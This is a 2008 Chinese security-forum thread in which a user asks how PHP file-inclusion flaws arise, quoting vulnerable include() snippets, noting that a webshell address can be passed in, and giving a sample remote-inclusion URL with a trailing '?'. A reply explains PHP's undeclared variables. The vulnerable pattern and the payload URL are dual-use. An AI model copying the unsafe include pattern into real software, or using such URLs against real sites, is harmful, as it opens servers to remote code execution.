注册
登录
论坛
搜索
插件
默认风格
默认风格_6hOY
D Dark
greenwall
jeans
fashion
私人消息 (0)
公共消息 (0)
论坛任务 (0)
系统消息 (0)
好友消息 (0)
帖子消息 (0)
【3.A.S.T】网络安全爱好者
»
技术交流
» [讨论]php文件包含的问题
返回列表
发帖
s37su37
发短消息
加为好友
s37su37
当前离线
UID
1224
帖子
251
精华
0
积分
667
威望
1075
金钱
829
阅读权限
70
在线时间
2 小时
注册时间
2008-7-16
最后登录
2009-2-13
3.A.S.T少校
帖子
251
积分
667
威望
1075
金钱
829
在线时间
2 小时
1
楼
跳转到
»
正序看帖
打印
字体大小:
t
T
发表于 2008-7-20 23:18
|
只看该作者
[讨论]php文件包含的问题
php
,
文件
,
讨论
[讨论]php文件包含的问题
议题作者:消失再消失
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
)
老是弄不懂这种漏洞是怎么来的,网上的包含漏洞介绍大约都是这样一段代码:
....
$id=$_GET["id"];
include($id);
....
因为变量id能被人为任意控制,所以造成了包含漏洞。
这里很容易理解。
但是看别人发布的文件包含漏洞是基本是这样类型的代码:
....
include_once $edp_relative_path."admin/serverdata.php";
....
只要向变量edp_relative_path提交一个webshell的地址,就能执行webshell了。
这里就不明白了,edp_relative_path这个变量是怎么来的?为什么可以人为控制?
我找了很久关于edp_relative_path这个变量的代码,都没有发现是哪里赋的值。
还有就是,为什么有些远程包含漏洞在包含了文件之后还要加一个“?”啊?如“
http://www.bajinzhi.net/l.php?i=http://bbb.com/love.php?
”
请高人指点啊小鸡鸡重出江湖了~~!!
帖子119 精华
0
积分3244 阅读权限100 性别男 在线时间143 小时 注册时间2007-7-31 最后登录2008-7-18
查看详细资料
报告
TOP
让女孩一夜变的更有女人味
dingking
荣誉会员
收藏
分享
TAMAMA
发短消息
加为好友
TAMAMA
当前离线
UID
347
帖子
20
精华
0
积分
30
威望
40
金钱
32
阅读权限
10
在线时间
0 小时
注册时间
2008-7-14
最后登录
2008-9-20
3.A.S.T士兵
帖子
20
积分
30
威望
40
金钱
32
在线时间
0 小时
2
楼
发表于 2008-7-20 23:18
|
只看该作者
貌似PHP中不需要先定义变量的。~直接 $xxx 就可以用了。~。~~
include_once $edp_relative_path."admin/serverdata.php"; 直接定义就赋值了.....
~~
昨天是明天的前天今天是昨天的明天明天是昨天的后天 ╰o╯╰o╯
帖子741 精华
2
积分4784 阅读权限100 性别男 在线时间756 小时 注册时间2005-6-17 最后登录2008-7-18
查看详细资料
报告
TOP
您知道您年薪应是多少?
winger
晶莹剔透§烈日灼然
TOP
返回列表
【 新 手 入 门 】
初入江湖
有问必答
软件交流
程序设计
黑客播报
操作系统
Windows专区
Unix 专区
【 技 术 交 流 】
原创专区
QQ技巧
反黑知识
网站建设
教程发布
技术交流
免杀技术
0day发布
专题归类
私服技术
【 论 坛 水 区 】
被黑站点
激情灌水
极品贴图
开心乐园
影音专区
广告专区
【 论 坛 管 理 】
新人报到
论坛管理
勋章申请
[收藏此主题]
[关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]
全国地图
@@@ 加入本站会员 一个月月赚1200+的秘密@@@
@@@ 加入本站会员 一个月月赚1200+的秘密@@@